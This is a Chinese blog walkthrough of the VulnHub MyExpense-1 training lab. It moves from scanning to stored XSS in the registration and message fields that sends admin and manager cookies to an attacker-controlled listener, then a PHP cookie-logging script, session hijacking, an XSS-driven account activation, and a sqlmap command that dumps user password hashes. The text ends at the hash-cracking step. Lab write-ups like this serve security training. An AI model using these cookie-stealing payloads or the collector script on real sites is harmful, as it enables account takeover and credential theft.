MyExpense1靶机题解

MyExpense1靶机题解,感觉不错,贴近真实情况,这里记录一下

靶机地址:https://www.vulnhub.com/entry/myexpense-1,405/

1
MyExpense is a deliberately vulnerable web application that allows you to train in detecting and exploiting different web vulnerabilities. Unlike a more traditional "challenge" application (which allows you to train on a single specific vulnerability), MyExpense contains a set of vulnerabilities you need to exploit to achieve the whole scenario.

扫描的艺术

用vbox导入,直接打开就行,首先探测一下靶机的地址。

1577611164368

然后扫描一下端口,看看有啥开放的服务

1577611402240

发现不止是80端口有http服务,还有其他端口,先看下主要端口,正常的web界面,有登录和注册功能,后台语言用的是php,闲来无事先扫一波目录。

1577611870730

发现admin/admin.php路径,并且直接可以进行访问,看来没有进行访问控制,发现了所有注册的用户以及邮箱等信息,先尝试用题目作者给出的账户密码登一下测试samuel/fzghn4lw,发现被限制了登录,注册的新用户(需要前端绕过,将disabled去掉即可)没有的到管理员的授权也无法登录,,然后尝试对所有用户进行弱口令爆破,无果。。。

1577612348068

XSS的艺术

到这发现似乎没啥进展了,值得注意的是在注册处所输入的信息是会存到后台并且管理员是会看到的,似乎又有了一种新的思路,可以在注册处构造xss在管理员访问时把cookie弹到自己的服务器上。构造的xss如下:

1
<script>document.write('<img src="http://192.168.56.102:4444?cookie='+document.cookie+'"/>');</script>

将cookie插入到Firstname出并在本地监听4444端口,成功接收到管理员的cookie

1577614548196

尝试用管理员的cookie登录,然而显示只能一次进行身份验证,看来无法作为管理员进行操作了,现在尝试从另一个角度尝试,可以构造xss使管理员自己进行操作,也减少了异地ip登录被发现的风险,一举两个0.0

1577614722174

构造的xss如下,并成功更改了账户状态,登录后提交申请的报销表单

1
<script>document.write('<img src="http://192.168.56.101/admin/admin.php?id=11&status=active"/>');</script>

1577615158076

1577615384935

以为到这就可以了,然而事情没有这么简单,不光要提交,还需要有人同意才可以,再次看一下用户的信息,发现Samuel的上级管理:

1577619457809

在用户主页出发现了slamottemanon Riviere的对话信息,提交message,尝试xss看是可以返回manage的cookie.

1577619630595

本地启动apache2,sh.php如下:

1
2
3
4
<?php
$a = $_GET['cookie'];
file_put_contents("res.txt",$a." ".date('H:i:s')."\n",FILE_APPEND);
?>

xss构造如下:

1
<script>document.write('<img src="http://192.168.56.102/sh.php?cookie='+document.cookie+'" width=0 height=0 border=0 />');</script>

1577620570476

发现接受到了好多的cookie,逐个尝试一下,最后成功以manager的身份登陆了,然后同意下级用户的请求。

1577626480456

查看manage的信息,发现mriviere也存在上级manager为baudouin

1577628046522

注入的艺术

Manon Riviere的界面处url发现了带有id参数的请求,第一反应是存在注入,因为页面需要带有cookie才可以访问,所以先用Burp截获一下请求,让后使用sqlmap进行自动化注入。

接下来就是常规的跑表,字段,以及内容就可以了,最终命令如下:

1
sqlmap -r test.txt -D myexpense -T user -C username,password --dump

密码为md5加密,在somd5上尝试解密一下:

Author: Sys71m
Link: https://www.sys71m.top/2019/12/29/靶机MyExpense1题解/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.